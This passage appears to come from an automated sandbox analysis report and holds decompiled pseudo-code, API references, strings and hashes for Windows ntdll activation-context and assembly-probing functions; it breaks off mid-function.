Instruction ID: 78d8594d862abbea433e031f32825d53ff61e021fa928b01ccb08cf5e0db1b41
Opcode Fuzzy Hash: 23257ced11e25840e9549355d874f3b01a93767944de05453141f822c46e22c2
Instruction Fuzzy Hash: FDF167B1900645DFEB29CF6AC590BEAB7F1FF5A304F0084A9E05597240DBBCE985CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6B562990, Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 521
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E6B562990(intOrPtr* __ecx, int __edx, signed short* _a4, signed int _a8, int _a12) {
				signed int _v12;
				short _v16;
				short _v20;
				short _v24;
				short* _v28;
				short* _v32;
				void* _v36;
				short _v38;
				void* _v40;
				signed int _v44;
				char _v45;
				signed short _v46;
				signed short _v48;
				signed int _v52;
				void* _v56;
				signed short* _v60;
				int _v64;
				int _v68;
				intOrPtr _v72;
				void* _v76;
				int _v80;
				signed int _v84;
				signed int _v88;
				void* _v92;
				signed char _v120;
				intOrPtr _v124;
				int _v128;
				int _v132;
				intOrPtr _v136;
				intOrPtr _v148;
				intOrPtr _v152;
				void _v156;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t208;
				signed int _t213;
				signed int _t222;
				void* _t225;
				signed char _t226;
				signed short _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed short _t241;
				void* _t243;
				signed int _t244;
				signed int _t247;
				signed int _t248;
				void* _t251;
				signed int _t252;
				signed char _t265;
				void* _t270;
				signed int _t271;
				unsigned int _t278;
				signed int _t280;
				void* _t288;
				void* _t291;
				signed int _t292;
				unsigned int _t298;
				void* _t304;
				signed int _t305;
				unsigned int _t316;
				signed short _t319;
				signed char _t323;
				signed int _t328;
				int _t329;
				short* _t331;
				intOrPtr _t334;
				signed short _t335;
				signed int _t336;
				intOrPtr _t337;
				signed int _t339;
				intOrPtr _t340;
				signed int _t341;
				intOrPtr _t344;
				intOrPtr _t351;
				signed short _t353;
				intOrPtr _t356;
				signed short* _t357;
				void* _t362;
				unsigned int _t364;
				signed short _t366;
				signed int _t367;
				int _t368;
				intOrPtr* _t369;
				signed int _t370;
				signed int _t371;
				signed short* _t372;
				signed int _t375;
				signed int _t376;
				signed int _t377;
				void* _t378;
				void* _t379;

				_t361 = __edx;
				_v12 =  *0x6b63d360 ^ _t377;
				_t329 = _a12;
				_v60 = _a4;
				_t369 = __ecx;
				_v88 = _a8;
				_v45 = __edx;
				_v160 = 0x40;
				memset( &_v156, 0, 0x3c);
				_t379 = _t378 + 0xc;
				_v76 =  *_t369;
				_t368 = 0;
				_v72 =  *((intOrPtr*)(_t369 + 4));
				_t208 =  &_v16;
				_v32 = _t208;
				_v28 = _t208;
				_v36 = _t208;
				_v16 = 0;
				_v52 = 0;
				_v24 = 2;
				_v20 = 2;
				_v40 = 0x20000;
				_t370 = E6B562D50(3, 0, 2,  &_v76,  &_v160);
				if(_t370 >= 0) {
					__eflags = _v45;
					if(_v45 != 0) {
						_t370 = 0;
						L2:
						_t213 = _v32;
						_t331 = _v28;
						if(_t213 != 0) {
							if(_t213 != _t331) {
								_v88 = _t213;
								RtlFreeUnicodeString( &_v92);
								_t331 = _v28;
							}
							_v32 = _t331;
							_v24 = _v20;
						}
						_v36 = _t331;
						if(_t331 != 0) {
							 *_t331 = 0;
						}
						_v40 = 0;
						_v38 = _v20;
						if(_t368 != 0) {
							E6B579B10(_t368);
						}
						return E6B58B640(_t370, _t329, _v12 ^ _t377, _t361, _t368, _t370);
					}
					__eflags = _v148 - 0x14;
					_t368 = _v128;
					if(_v148 < 0x14) {
						L57:
						_t370 = 0xc0150003;
						goto L2;
					}
					__eflags = _v156 - 1;
					if(_v156 != 1) {
						goto L57;
					}
					_t334 = _v152;
					_t361 =  *(_t334 + 0x10);
					__eflags = _t361 - _v132;
					if(_t361 > _v132) {
						goto L57;
					}
					_t222 =  *(_t334 + 0xc);
					__eflags = _t222 - 0x1fffffff;
					if(_t222 > 0x1fffffff) {
						goto L57;
					}
					_t371 = _t222 * 8;
					__eflags = _t361 -  !_t371;
					if(_t361 >  !_t371) {
						goto L57;
					}
					_t225 = _t371 + _t361;
					_t361 = _v132;
					__eflags = _t225 - _t361;
					if(_t225 > _t361) {
						goto L57;
					}
					_t226 =  *(_t334 + 4);
					__eflags = _t226 & 0x00000002;
					if((_t226 & 0x00000002) == 0) {
						L22:
						_t372 = _v60;
						_v56 =  *(_t334 + 0x10) + _v136;
						_v64 = 0;
						 *_t372 = 0;
						_t335 = 0;
						_v48 =  *(_t334 + 0xc);
						_t230 = 0;
						__eflags = _v48;
						if(_v48 != 0) {
							_t231 = 0;
							__eflags = 0;
							while(1) {
								_t336 = _t231 * 8;
								_t232 = _v56;
								_v44 = _t336;
								_t337 =  *((intOrPtr*)(_t336 + _t232 + 4));
								__eflags = _t337 - _t361;
								if(_t337 > _t361) {
									goto L57;
								}
								_t233 =  *(_v44 + _t232);
								_t372 = _v60;
								_v44 = _t233;
								__eflags = _t337 -  !_t233;
								if(_t337 >  !_t233) {
									goto L57;
								}
								__eflags = _v44 + _t337 - _t361;
								if(_v44 + _t337 > _t361) {
									goto L57;
								}
								_t335 = (_v44 & 0x0000ffff) +  *_t372;
								_v44 = _t335 & 0x0000ffff;
								_t231 = _v64 + 1;
								 *_t372 = _t335;
								_v64 = _t231;
								__eflags = _t231 - _v48;
								if(_t231 != _v48) {
									continue;
								}
								_t230 = _v44 & 0x0000ffff;
								goto L23;
							}
							goto L57;
						}
						L23:
						_t361 = _v52;
						_t241 = _t230 & 0x0000ffff;
						__eflags = _t361;
						if(_t361 != 0) {
							_t319 = ( *_t361 & 0x0000ffff) + _t335;
							__eflags = _t319;
							 *_t372 = _t319;
							_t241 = _t319 & 0x0000ffff;
						}
						_t243 = (_t241 & 0x0000ffff) + 2;
						__eflags = _t243 - 0xfffe;
						if(_t243 > 0xfffe) {
							_t370 = 0xc0000106;
							goto L2;
						} else {
							_t339 = _t329 + 8;
							__eflags = _t339;
							if(_t339 == 0) {
								L28:
								_t244 = E6B57D690(0, _t339, _t243);
								__eflags = _t244;
								if(_t244 < 0) {
									L69:
									_t370 = 0xc0000017;
									goto L2;
								}
								_t361 = _v52;
								_t339 = _t329 + 8;
								L30:
								 *((intOrPtr*)(_t329 + 4)) =  *_t339;
								 *((short*)(_t329 + 2)) =  *((intOrPtr*)(_t329 + 0x10));
								__eflags = _t361;
								if(_t361 == 0) {
									L35:
									_t247 = 0;
									_v44 = 0;
									__eflags = _v48;
									if(_v48 != 0) {
										while(1) {
											_t362 = _v56;
											_t248 =  *(_t362 + _t247 * 8) & 0x0000ffff;
											_t375 = _t248;
											_t361 =  *((intOrPtr*)(_t362 + 4 + _v44 * 8)) + _v136;
											_v68 = _t248;
											_v84 = _t248;
											_v80 = _t375;
											_t251 = ( *_t329 & 0x0000ffff) + 2 + _t375;
											_v64 = _t361;
											_t372 = _v60;
											__eflags = _t251 - 0xfffe;
											if(_t251 > 0xfffe) {
												break;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L77:
												_t252 = E6B57D690(0, _t339, _t251);
												__eflags = _t252;
												if(_t252 < 0) {
													goto L69;
												}
												_t361 = _v64;
												_t339 = _t329 + 8;
												L79:
												_t340 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t340;
												memmove(_t340 + (( *_t329 & 0x0000ffff) >> 1) * 2, _t361, _v80);
												_t341 =  *_t329 & 0x0000ffff;
												_t379 = _t379 + 0xc;
												_t364 = _v84 + _t341 & 0x0000ffff;
												 *_t329 = _t364;
												 *((short*)(_t329 + 2)) = _v68 + 2 + _t341;
												_t361 = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t364 >> 1) * 2)) = 0;
												_t339 = _t329 + 8;
												_t247 = _v44 + 1;
												_v44 = _t247;
												__eflags = _t247 - _v48;
												if(_t247 != _v48) {
													continue;
												}
												goto L36;
											}
											__eflags = _t251 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t251 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L79;
											}
											goto L77;
										}
										L85:
										_t370 = 0xc0000106;
										goto L2;
									}
									L36:
									_t265 =  *(_v152 + 4);
									__eflags = _t265 & 0x00000001;
									if((_t265 & 0x00000001) != 0) {
										L46:
										__eflags = _t265 & 0x00000004;
										if(__eflags != 0) {
											_t361 = _t329;
											_push( &_v40);
											_t370 = E6B5D3F4D(_t329, _t329, _t368, _t372, __eflags);
											__eflags = _t370;
											if(_t370 < 0) {
												goto L2;
											}
											_t361 = _v40;
											 *_t329 = 0;
											_t270 = (_t361 & 0x0000ffff) + 2;
											__eflags = _t270 - 0xfffe;
											if(_t270 <= 0xfffe) {
												_t376 = _t329 + 8;
												__eflags = _t376;
												if(_t376 == 0) {
													L93:
													_t271 = E6B57D690(0, _t376, _t270);
													__eflags = _t271;
													if(_t271 >= 0) {
														_t361 = _v40;
														L96:
														_t344 =  *_t376;
														 *((intOrPtr*)(_t329 + 4)) = _t344;
														memmove(_t344 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v36, _t361 & 0x0000ffff);
														_t192 = ( *_t329 & 0x0000ffff) + _v40 + 2; // 0x20002
														 *((short*)(_t329 + 2)) = _t192;
														_t278 = ( *_t329 & 0x0000ffff) + _v40 & 0x0000ffff;
														 *_t329 = _t278;
														_t361 = 0;
														 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t278 >> 1) * 2)) = 0;
														goto L47;
													}
													_t370 = 0xc0000017;
													goto L2;
												}
												__eflags = _t270 -  *((intOrPtr*)(_t329 + 0x10));
												if(_t270 <=  *((intOrPtr*)(_t329 + 0x10))) {
													goto L96;
												}
												goto L93;
											}
											_t370 = 0xc0000106;
											goto L2;
										}
										L47:
										_t280 = _v88;
										__eflags = _t280;
										if(_t280 != 0) {
											 *_t280 =  *_t280 | 0x00000002;
										}
										_t370 = 0;
										goto L2;
									}
									__eflags = _t265 & 0x00000008;
									if((_t265 & 0x00000008) != 0) {
										_t370 = E6B563690(1,  &_v76, 0x6b521810,  &_v48);
										__eflags = _t370;
										if(_t370 >= 0) {
											_t366 = _v76 + 0xfffe - _v48;
											_t372 = _v60;
											_t288 = _v72 + ((_v48 & 0x0000ffff) >> 1) * 2 + 2;
											_t339 = _t329 + 8;
											L39:
											_v46 = _t366;
											_t361 = _t366 & 0x0000ffff;
											 *_t372 =  *_t372 + _t361;
											__eflags =  *_t372 - 0xffff;
											_v56 = _t288;
											_v68 = _t361;
											if( *_t372 >= 0xffff) {
												goto L85;
											}
											_t291 = ( *_t329 & 0x0000ffff) + 2 + _t361;
											__eflags = _t291 - 0xfffe;
											if(_t291 > 0xfffe) {
												_t370 = 0xc0000106;
												goto L2;
											}
											__eflags = _t339;
											if(_t339 == 0) {
												L43:
												_t292 = E6B57D690(0, _t339, _t291);
												__eflags = _t292;
												if(_t292 < 0) {
													_t370 = 0xc0000017;
													goto L2;
												}
												_t361 = _v68;
												_t339 = _t329 + 8;
												L45:
												_t351 =  *_t339;
												 *((intOrPtr*)(_t329 + 4)) = _t351;
												memmove(_t351 + (( *_t329 & 0x0000ffff) >> 1) * 2, _v56, _t361);
												_t379 = _t379 + 0xc;
												_t353 = ( *_t329 & 0x0000ffff) + _v46;
												 *((short*)(_t329 + 2)) = _t353 + 2;
												_t298 = _t353 & 0x0000ffff;
												 *_t329 = _t298;
												_t361 = 0;
												__eflags = 0;
												 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t298 >> 1) * 2)) = 0;
												_t265 =  *(_v152 + 4);
												goto L46;
											}
											__eflags = _t291 -  *((intOrPtr*)(_t329 + 0x10));
											if(_t291 <=  *((intOrPtr*)(_t329 + 0x10))) {
												goto L45;
											}
											goto L43;
										}
										__eflags = _t370 - 0xc0000225;
										if(_t370 == 0xc0000225) {
											E6B5E5100(_t339, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x477, "Status != STATUS_NOT_FOUND");
											_t370 = 0xc00000e5;
										}
										goto L2;
									}
									_t288 = _v72;
									_t366 = _v76;
									goto L39;
								}
								 *_t329 = 0;
								_t304 = ( *_t361 & 0x0000ffff) + 2;
								__eflags = _t304 - 0xfffe;
								if(_t304 > 0xfffe) {
									_t370 = 0xc0000106;
									goto L2;
								}
								__eflags = _t339;
								if(_t339 == 0) {
									L71:
									_t305 = E6B57D690(0, _t339, _t304);
									__eflags = _t305;
									if(_t305 >= 0) {
										_t361 = _v52;
										_t339 = _t329 + 8;
										L34:
										_t356 =  *_t339;
										 *((intOrPtr*)(_t329 + 4)) = _t356;
										memmove(_t356 + (( *_t329 & 0x0000ffff) >> 1) * 2,  *(_t361 + 4),  *_t361 & 0x0000ffff);
										_t357 = _v52;
										_t379 = _t379 + 0xc;
										_t367 =  *_t329 & 0x0000ffff;
										 *((short*)(_t329 + 2)) = ( *_t357 & 0x0000ffff) + 2 + _t367;
										_t316 = ( *_t357 & 0x0000ffff) + _t367 & 0x0000ffff;
										 *_t329 = _t316;
										_t361 = 0;
										__eflags = 0;
										 *((short*)( *((intOrPtr*)(_t329 + 4)) + (_t316 >> 1) * 2)) = 0;
										_t339 = _t329 + 8;
										goto L35;
									}
									_t370 = 0xc0000017;
									goto L2;
								}
								__eflags = _t304 -  *((intOrPtr*)(_t329 + 0x10));
								if(_t304 >  *((intOrPtr*)(_t329 + 0x10))) {
									goto L71;
								}
								goto L34;
							}
							__eflags = _t243 -  *((intOrPtr*)(_t329 + 0x10));
							if(_t243 <=  *((intOrPtr*)(_t329 + 0x10))) {
								goto L30;
							}
							goto L28;
						}
					}
					_t360 = 0;
					_v44 = 0;
					__eflags = _t226 & 0x00000004;
					if((_t226 & 0x00000004) != 0) {
						_push("sxsisol_SearchActCtxForDllName");
						_push( *((intOrPtr*)( *[fs:0x18] + 0x24)));
						E6B5D5720(0x33, 0, "[%x.%x] SXS: %s - Relative redirection plus env var expansion.\n",  *((intOrPtr*)( *[fs:0x18] + 0x20)));
						goto L57;
					}
					_t323 = _v120;
					__eflags = _t323 & 0x00000001;
					if((_t323 & 0x00000001) != 0) {
						__eflags = _t323 & 0x00000002;
						if((_t323 & 0x00000002) != 0) {
							E6B5E5100(0, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x41b, "!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)");
							_t370 = 0xc00000e5;
							goto L2;
						}
						_t360 = 1;
					}
					__eflags = _t323 & 0x00000002;
					if((_t323 & 0x00000002) != 0) {
						_t360 = _t360 | 0x00000002;
					}
					_t361 = _t368;
					_t370 = E6B57C63D(_t360, _t368, _v124,  &_v52, _t360,  &_v44);
					__eflags = _t370;
					if(_t370 < 0) {
						__eflags = _t370 - 0xc0000120;
						if(_t370 == 0xc0000120) {
							_t328 = _v44;
							__eflags = _t328;
							if(_t328 < 0) {
								_t370 = _t328;
							}
						}
						goto L2;
					} else {
						_t334 = _v152;
						_t361 = _v132;
						goto L22;
					}
				}
				if(_t370 == 0xc0150001) {
					_t370 = 0xc0150008;
				}
				goto L2;
			}

0x6b562990
0x6b5629a2
0x6b5629a9
0x6b5629ae
0x6b5629b1
0x6b5629b8
0x6b5629c4
0x6b5629c7
0x6b5629d1
0x6b5629d8
0x6b5629db
0x6b5629de
0x6b5629e3
0x6b5629e6
0x6b5629e9
0x6b5629ec
0x6b5629ef
0x6b5629f4
0x6b562a02
0x6b562a0b
0x6b562a12
0x6b562a19
0x6b562a25
0x6b562a29
0x6b562a89
0x6b562a8d
0x6b5ad3f9
0x6b562a37
0x6b562a37
0x6b562a3a
0x6b562a3f
0x6b562a43
0x6b5ad6ed
0x6b5ad6f4
0x6b5ad6f9
0x6b5ad6f9
0x6b562a4c
0x6b562a4f
0x6b562a4f
0x6b562a52
0x6b562a57
0x6b562a5b
0x6b562a5b
0x6b562a60
0x6b562a68
0x6b562a6e
0x6b562d15
0x6b562d15
0x6b562a86
0x6b562a86
0x6b562a93
0x6b562a9a
0x6b562a9d
0x6b5ad428
0x6b5ad428
0x00000000
0x6b5ad428
0x6b562aa3
0x6b562aaa
0x00000000
0x00000000
0x6b562ab0
0x6b562ab6
0x6b562ab9
0x6b562abc
0x00000000
0x00000000
0x6b562ac2
0x6b562ac5
0x6b562aca
0x00000000
0x00000000
0x6b562ad0
0x6b562adb
0x6b562add
0x00000000
0x00000000
0x6b562ae3
0x6b562ae6
0x6b562ae9
0x6b562aeb
0x00000000
0x00000000
0x6b562af1
0x6b562af4
0x6b562af6
0x6b562b42
0x6b562b4b
0x6b562b4e
0x6b562b51
0x6b562b58
0x6b562b61
0x6b562b63
0x6b562b66
0x6b562b68
0x6b562b6b
0x6b5ad473
0x6b5ad473
0x6b5ad475
0x6b5ad475
0x6b5ad47c
0x6b5ad47f
0x6b5ad482
0x6b5ad486
0x6b5ad488
0x00000000
0x00000000
0x6b5ad48d
0x6b5ad490
0x6b5ad493
0x6b5ad498
0x6b5ad49a
0x00000000
0x00000000
0x6b5ad4a1
0x6b5ad4a3
0x00000000
0x00000000
0x6b5ad4ab
0x6b5ad4b0
0x6b5ad4b6
0x6b5ad4b7
0x6b5ad4b9
0x6b5ad4bc
0x6b5ad4bf
0x00000000
0x00000000
0x6b5ad4c4
0x00000000
0x6b5ad4c4
0x00000000
0x6b5ad475
0x6b562b71
0x6b562b71
0x6b562b74
0x6b562b77
0x6b562b79
0x6b562b7e
0x6b562b7e
0x6b562b80
0x6b562b82
0x6b562b82
0x6b562b88
0x6b562b8b
0x6b562b90
0x6b5ad4cc
0x00000000
0x6b562b96
0x6b562b96
0x6b562b99
0x6b562b9b
0x6b562ba2
0x6b562ba6
0x6b562bab
0x6b562bad
0x6b5ad4d6
0x6b5ad4d6
0x00000000
0x6b5ad4d6
0x6b562bb3
0x6b562bb6
0x6b562bb9
0x6b562bbb
0x6b562bc2
0x6b562bc6
0x6b562bc8
0x6b562c3e
0x6b562c3e
0x6b562c40
0x6b562c43
0x6b562c46
0x6b5ad50c
0x6b5ad50c
0x6b5ad512
0x6b5ad51a
0x6b5ad51c
0x6b5ad522
0x6b5ad525
0x6b5ad52e
0x6b5ad531
0x6b5ad533
0x6b5ad536
0x6b5ad539
0x6b5ad53e
0x00000000
0x00000000
0x6b5ad544
0x6b5ad546
0x6b5ad54d
0x6b5ad551
0x6b5ad556
0x6b5ad558
0x00000000
0x00000000
0x6b5ad55e
0x6b5ad561
0x6b5ad564
0x6b5ad567
0x6b5ad56f
0x6b5ad576
0x6b5ad57b
0x6b5ad57e
0x6b5ad586
0x6b5ad58f
0x6b5ad596
0x6b5ad59a
0x6b5ad5a1
0x6b5ad5a5
0x6b5ad5ab
0x6b5ad5ac
0x6b5ad5af
0x6b5ad5b2
0x00000000
0x00000000
0x00000000
0x6b5ad5b8
0x6b5ad548
0x6b5ad54b
0x00000000
0x00000000
0x00000000
0x6b5ad54b
0x6b5ad630
0x6b5ad630
0x00000000
0x6b5ad630
0x6b562c4c
0x6b562c52
0x6b562c55
0x6b562c57
0x6b562cfe
0x6b562cfe
0x6b562d00
0x6b5ad651
0x6b5ad653
0x6b5ad659
0x6b5ad65b
0x6b5ad65d
0x00000000
0x00000000
0x6b5ad663
0x6b5ad669
0x6b5ad66f
0x6b5ad672
0x6b5ad677
0x6b5ad683
0x6b5ad686
0x6b5ad688
0x6b5ad68f
0x6b5ad693
0x6b5ad698
0x6b5ad69a
0x6b5ad6a6
0x6b5ad6aa
0x6b5ad6aa
0x6b5ad6b8
0x6b5ad6bf
0x6b5ad6ce
0x6b5ad6d1
0x6b5ad6d5
0x6b5ad6da
0x6b5ad6e2
0x6b5ad6e4
0x00000000
0x6b5ad6e4
0x6b5ad69c
0x00000000
0x6b5ad69c
0x6b5ad68a
0x6b5ad68d
0x00000000
0x00000000
0x00000000
0x6b5ad68d
0x6b5ad679
0x00000000
0x6b5ad679
0x6b562d06
0x6b562d06
0x6b562d09
0x6b562d0b
0x6b562d39
0x6b562d39
0x6b562d0d
0x00000000
0x6b562d0d
0x6b562c5d
0x6b562c5f
0x6b5ad5d1
0x6b5ad5d3
0x6b5ad5d5
0x6b5ad617
0x6b5ad61d
0x6b5ad625
0x6b5ad628
0x6b562c6c
0x6b562c6c
0x6b562c70
0x6b562c73
0x6b562c75
0x6b562c7b
0x6b562c7e
0x6b562c81
0x00000000
0x00000000
0x6b562c8d
0x6b562c8f
0x6b562c94
0x6b5ad63a
0x00000000
0x6b5ad63a
0x6b562c9a
0x6b562c9c
0x6b562ca3
0x6b562ca7
0x6b562cac
0x6b562cae
0x6b5ad644
0x00000000
0x6b5ad644
0x6b562cb4
0x6b562cb7
0x6b562cba
0x6b562cbd
0x6b562cc5
0x6b562ccc
0x6b562cd4
0x6b562cd7
0x6b562cde
0x6b562ce2
0x6b562ce7
0x6b562cef
0x6b562cef
0x6b562cf1
0x6b562cfb
0x00000000
0x6b562cfb
0x6b562c9e
0x6b562ca1
0x00000000
0x00000000
0x00000000
0x6b562ca1
0x6b5ad5d7
0x6b5ad5dd
0x6b5ad5f7
0x6b5ad5fc
0x6b5ad5fc
0x00000000
0x6b5ad5dd
0x6b562c65
0x6b562c68
0x00000000
0x6b562c68
0x6b562bcc
0x6b562bd2
0x6b562bd5
0x6b562bda
0x6b5ad4e0
0x00000000
0x6b5ad4e0
0x6b562be0
0x6b562be2
0x6b5ad4ea
0x6b5ad4ee
0x6b5ad4f3
0x6b5ad4f5
0x6b5ad501
0x6b5ad504
0x6b562bf1
0x6b562bf1
0x6b562bf3
0x6b562c06
0x6b562c0b
0x6b562c0e
0x6b562c11
0x6b562c1e
0x6b562c28
0x6b562c2d
0x6b562c35
0x6b562c35
0x6b562c37
0x6b562c3b
0x00000000
0x6b562c3b
0x6b5ad4f7
0x00000000
0x6b5ad4f7
0x6b562be8
0x6b562beb
0x00000000
0x00000000
0x00000000
0x6b562beb
0x6b562b9d
0x6b562ba0
0x00000000
0x00000000
0x00000000
0x6b562ba0
0x6b562b90
0x6b562af8
0x6b562afa
0x6b562b01
0x6b562b03
0x6b5ad406
0x6b5ad40b
0x6b5ad420
0x00000000
0x6b5ad425
0x6b562b09
0x6b562b0c
0x6b562b0e
0x6b562d27
0x6b562d29
0x6b5ad446
0x6b5ad44b
0x00000000
0x6b5ad44b
0x6b562d2f
0x6b562d2f
0x6b562b14
0x6b562b16
0x6b562d1f
0x6b562d1f
0x6b562b1f
0x6b562b2f
0x6b562b31
0x6b562b33
0x6b5ad455
0x6b5ad45b
0x6b5ad461
0x6b5ad464
0x6b5ad466
0x6b5ad46c
0x6b5ad46c
0x6b5ad466
0x00000000
0x6b562b39
0x6b562b39
0x6b562b3f
0x00000000
0x6b562b3f
0x6b562b33
0x6b562a31
0x6b5ad3ef
0x6b5ad3ef
0x00000000

APIs

memset.1105(?,00000000,0000003C,?,00000000,?), ref: 6B5629D1
RtlFindActivationContextSectionString.1105(00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B562A20
RtlpEnsureBufferSize.1105(00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B562BA6
memmove.1105(6B524F84,00000000,6B524F84,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B562C06
RtlpEnsureBufferSize.1105(00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B562CA7
memmove.1105(00000000,00000001,00000000,00000000,?,007FFFFE,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000), ref: 6B562CCC
RtlReleaseActivationContext.1105(?,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B562D15
RtlpEnsureBufferSize.1105(00000000,?,-00000002,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B5AD4EE

Strings

minkernel\ntdll\sxsisol.cpp, xrefs: 6B5AD43C, 6B5AD5ED
@, xrefs: 6B5629C7
Status != STATUS_NOT_FOUND, xrefs: 6B5AD5E3
[%x.%x] SXS: %s - Relative redirection plus env var expansion., xrefs: 6B5AD417
Internal error check failed, xrefs: 6B5AD441, 6B5AD5F2
sxsisol_SearchActCtxForDllName, xrefs: 6B5AD406
!(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT), xrefs: 6B5AD432

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureRtlpSize$ActivationContextmemmove$FindReleaseSectionStringmemset
String ID: !(askd.Flags & ACTIVATION_CONTEXT_SECTION_KEYED_DATA_FLAG_FOUND_IN_SYSTEM_DEFAULT)$@$Internal error check failed$Status != STATUS_NOT_FOUND$[%x.%x] SXS: %s - Relative redirection plus env var expansion.$minkernel\ntdll\sxsisol.cpp$sxsisol_SearchActCtxForDllName
API String ID: 2718660278-761764676
Opcode ID: cde1b85fe6ff5d0da89b2f7a34a589a69226a356a88adc81d76647138ad298b7
Instruction ID: 379531900cc9663222c01b87eab612797a555ae758fc3b1855bbf6e68b9e70d5
Opcode Fuzzy Hash: cde1b85fe6ff5d0da89b2f7a34a589a69226a356a88adc81d76647138ad298b7
Instruction Fuzzy Hash: C5127E70E00229DBEB24DF68C891BEDB7B5EF49704F1444AAE845FB294E7799C41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6B57CF6A, Relevance: 40.6, APIs: 16, Strings: 7, Instructions: 321
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6B57CF6A(signed short* __edx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, signed short _a16, signed int* _a20) {
				signed int _v12;
				char _v536;
				signed int _v537;
				signed int* _v544;
				signed int _v548;
				intOrPtr _v552;
				void* _v556;
				signed short _v560;
				signed short _v564;
				char _v568;
				signed short* _v572;
				signed short* _v576;
				intOrPtr _v580;
				signed short _v584;
				void* _v588;
				signed short _v592;
				void* _v596;
				intOrPtr _v600;
				signed short _v604;
				char _v608;
				intOrPtr _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char* _v624;
				intOrPtr _v628;
				char _v632;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t101;
				void* _t103;
				signed short _t113;
				signed short _t116;
				void _t119;
				char _t129;
				intOrPtr _t131;
				void* _t137;
				intOrPtr _t145;
				short* _t147;
				signed int _t157;
				signed short* _t159;
				void* _t160;
				signed short* _t161;
				signed short _t165;
				intOrPtr _t166;
				signed short _t169;
				intOrPtr _t172;
				void* _t173;
				intOrPtr _t174;
				short _t175;
				void* _t181;
				void* _t189;
				void* _t190;
				signed short* _t192;
				void* _t193;
				void* _t194;
				void* _t197;
				signed short _t199;
				signed int _t200;

				_v12 =  *0x6b63d360 ^ _t200;
				_t101 = _a8;
				_t166 = _a12;
				_v576 = __edx;
				_v584 = _a16;
				_t192 = _a4;
				_v544 = _a20;
				_v548 = _v548 & 0;
				_t189 = 0;
				_v560 = 0;
				_v537 = 0;
				_v568 = 0;
				_v564 = 0;
				_v588 = 0;
				_t187 = _v584;
				_v572 = _t192;
				_v580 = _t101;
				_v552 = _t166;
				_v556 = 0;
				if(_t187 != 0) {
					 *_t187 =  *_t187 & 0;
				}
				_t159 = _v576;
				if(_v544 != _t189) {
					 *_v544 =  *_v544 & _t189;
					_t166 = _v552;
				}
				if(_t159 == 0 || _t192 == 0 || _t101 == 0 || _t166 == 0 || _t187 == 0 || _v544 == _t189) {
					_push(_v544);
					_push(_t187);
					_push(_t166);
					_push(_t101);
					_push(_t192);
					_push(_t159);
					_push(0);
					E6B5D5720(0x33, 0, "SXS: %s() bad parameters\nSXS:  Flags:               0x%lx\nSXS:  Root:                %p\nSXS:  AssemblyDirectory:   %p\nSXS:  PreAllocatedString:  %p\nSXS:  DynamicString:       %p\nSXS:  StringUsed:          %p\nSXS:  OpenDirectoryHandle: %p\n", "RtlpProbeAssemblyStorageRootForAssembly");
					_t193 = 0xc000000d;
					goto L24;
				} else {
					_t169 =  *_t159 & 0x0000ffff;
					_t187 = _t169;
					if(_t169 != 0) {
						_t157 =  *(_t159[2] + (_t169 >> 1) * 2 - 2) & 0x0000ffff;
						_t181 = 0x5c;
						_t169 =  *_t159 & 0x0000ffff;
						if(_t157 != _t181) {
							if(_t157 != 0x2f) {
								_v537 = 1;
								_t187 = _t187 + 2;
							}
						}
					}
					_t113 = ( *_t192 & 0x0000ffff) + 4 + _t187;
					_v592 = _t113;
					if(_t113 > 0xfffe) {
						_push("SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.\n");
						_push(0);
						_push(0x33);
						E6B5D5720();
						_t193 = 0xc0000106;
						L26:
						if(_t189 != 0 && _t189 !=  &_v536) {
							E6B54AD30(_t189);
						}
						L28:
						if(_v548 != 0) {
							_push(_v548);
							E6B5895D0();
						}
						_pop(_t190);
						_pop(_t194);
						_pop(_t160);
						return E6B58B640(_t193, _t160, _v12 ^ _t200, _t187, _t190, _t194);
					}
					if(_t113 > 0x208) {
						_t195 = _t113 & 0x0000ffff;
						_t189 = E6B563A1C(_t113 & 0x0000ffff);
						_v556 = _t189;
						if(_t189 != 0) {
							_t116 =  *_t159 & 0x0000ffff;
							goto L15;
						}
